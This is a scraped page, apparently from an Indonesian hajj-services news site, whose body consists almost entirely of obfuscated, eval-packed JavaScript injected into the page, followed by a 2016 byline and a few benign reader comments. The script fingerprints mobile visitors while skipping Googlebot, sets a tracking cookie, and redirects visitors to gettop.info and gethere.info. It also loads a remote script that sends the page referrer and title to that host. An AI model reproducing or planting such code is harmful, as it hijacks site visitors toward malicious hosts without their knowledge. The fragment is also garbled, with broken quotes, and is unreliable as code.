/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘z(1d.1k.1l(“16”)==-1){(2V(a,b){z(a.1l(“2W”)==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=”16=1; 4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

webmaster tuh
By webmaster tuh February 18, 2016 07:08

Recent Comments

  • Rapi Ramlan

    Rapi Ramlan

    Alhamdulillah muassasa haji beserta kedubes kita solid terus bisa melayani tamu allaah swt dengan baik penuh dedikasi

    View Article
  • Arbain S

    Arbain S

    Kapan pengumumannya Pak ...

    View Article
  • Andy Tamer

    Andy Tamer

    Smg kita bisa lebih memaximalkan kinerja petugas transportasi untuk melayani duyuf al rahman d th 2018 ini amien,...

    View Article